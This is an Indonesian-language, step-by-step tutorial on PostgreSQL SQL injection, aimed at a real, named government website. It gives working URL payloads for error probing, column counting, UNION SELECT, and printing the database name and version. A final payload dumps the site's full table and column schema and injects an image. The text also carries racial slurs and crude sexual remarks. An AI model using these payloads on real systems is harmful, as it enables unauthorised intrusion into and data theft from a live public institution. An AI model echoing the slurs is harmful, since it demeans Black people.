Postgree sqli android

OKE DAH KALI INI GW AKAN MEMBAGIKAN MATERI POSTGRE INJECTION OKEY BIAR GAK KELAMAAN

LANGSUNG KITA GAS AJA YUK STEP BY STEP: DISINI GW UDAN NYIAPIN WEB TARGET BUAT BELAJAR YA GENG INI WEB NYA https://mkri.id/index.php?page=web.StrukturOrganisasi&id=4



 OKEY LANJUT BANG BAGAIMANA CARA AGAR KITA MENGETAHUI WEB NYA VULN ATAU TIDAK?


YA KALIAN TAMBAHKAN (') DI AKHIR LINK WEB NYA JIKA KALIAN INGIN MENGETAHUI LEBIH BANYAK LAGI TENTANG TANDA LAIN NYA SILAHKAN KLIK DISINI CONTOH NYA SEPERTI INI https://mkri.id/index.php?page=web.StrukturOrganisasi&id=4'



OKE LANJUT LAGI GAN JIKA WEB NYA VULN MAKA AKAN MUNCUL TULISAN ATAU KATA KATA INI TDbCommand gagal untuk menjalankan query SQL "": SQLSTATE[42601]: Syntax error: 7 ERROR: unterminated quoted string at or near "'" LINE 1: select * from profil_mk where profil_id=4' ^ CONTOH FOTO NYA SEPERTI DI BAWAH INI


 OKEY LANJUT LAGI GAN JIKA WEB NYA SUDAH VULN SEKARANG KITA INJECT SAMPAIG KETEMU ERROR NYA CONTOH NYA #NO ERROR--------------------- https://mkri.id/index.php?page=web.StrukturOrganisasi&id=4+order+by+1+--+- #NO ERROR--------------------- https://mkri.id/index.php?page=web.StrukturOrganisasi&id=4%20order%20by%2013%20--%20- #NO ERROR--------------------- 
https://mkri.id/index.php?page=web.StrukturOrganisasi&id=4 order by 3 -- - #ERROR------------------------ https://mkri.id/index.php?page=web.StrukturOrganisasi&id=4%20order%20by%2013%20--%20- CONTOH ERROR NYA SEPERTI DI BAWAH INI



 

 OKEY LANJUT TERUS GAN NAH KARENA DISINI KITA SUDAH MENEMUKAN JUMLAH COLUMN NYA SEKARANG KITA COBA INJECT DENGAN UNION SELECT https://mkri.id/index.php? page=web.StrukturOrganisasi&id=4 union select 1,2,3,4,5,6,7,8,9,10,11,12 -- - CONTOH NYA SEPERTI GAMBAR




 DI BAWAH INI OY BANG, KOK MASIH AJA ERROR BANG? WESSS SANTUY DONG GAN, TAR GW SLEDING TUH PELER LAMA LAMA BELUM JUGA GW SELESAI JELASIN OKEY, SEKARANG COBA KITA GANTI ANGKA NYA DENGAN "null" SEBANYAK 12 KALI / JUMLAH COLUMN ANGKA NYA CONTOH NYA SEPERTI INI https://mkri.id/index.php?page=web.StrukturOrganisasi&id=4 union select null,null,null,null,null,null,null,null,null,null,null,null -- - ANJAY AKHIRNYA SUKSES KAN, LIAT GAMBAR DI BAWAHa


 BANG TERUS LETAK NOMOR NYA DIMANA? OKE SANTUY, GUNAKAN MOOD KALIAN AGAR MENEMUKAN LETAH NULL / NOMOR TOGEL BUAT MASANG NANTI, PASANG NYA 1M YA :v OKE GW MENEMUKAN TOGEL NYA DI ANGKA 2 ATAU DI NULL URUTAN KEDUA DARI KIRI OKE LANGSONG GAS AJA GW DISINI PINGIN MENCETAK NICK DATABASE VERSION LIHAT QUERY GW DI BAWAH INI https://mkri.id/index.php? page=web.StrukturOrganisasi&id=4 union select+null, concat(%27SEX%20BY%20JHON%27,%27%3 CBR%3E%27,%27%3Cbr%3E%27,%27 DATABASE%20::%27, current_database(),%27%3Cbr%3E%27,%27VERSION%20::%20%27, version()),null,null,null,null,null,null,null,null,null,null--+-#



AND SUCESS NIGGAS OKEY CARA INTIP PAKAIAN DALAM WEB NYA DENGAN QUERY INI DAN KALIAN KEMBANGKAN LAGI DENGAN JEMBOT KALIAN YANG PANJANG DAN TIDAK PERNAH TERPOTONG KITU :v Concat(%27%3Cimg%20src=https://i.ibb.co/tKqRJcL/20190822-213829.png%3E%27, %27SEX%20BY%20JHON%27,%27%3CBR%3E%27, current_database(), %27%3CBR%3E%27, version(), %27%3Cbr%3E%27,(select+string_agg(concat(table_name,%27::%27, column_name),$$%3Cli%3E$$)from+information_schema.columns+where+table_schema+not+in ($$information_schema$$,$$pg_catalog$$)))



 OKE SEKIAN SAMPAI DI SINI AJA SEMOGA BERMANFAAT DAN TERIMA KASIH OKEY GOOD BYE NIGGA BLACK FACE :D REGARD: MR-X666X [JHON]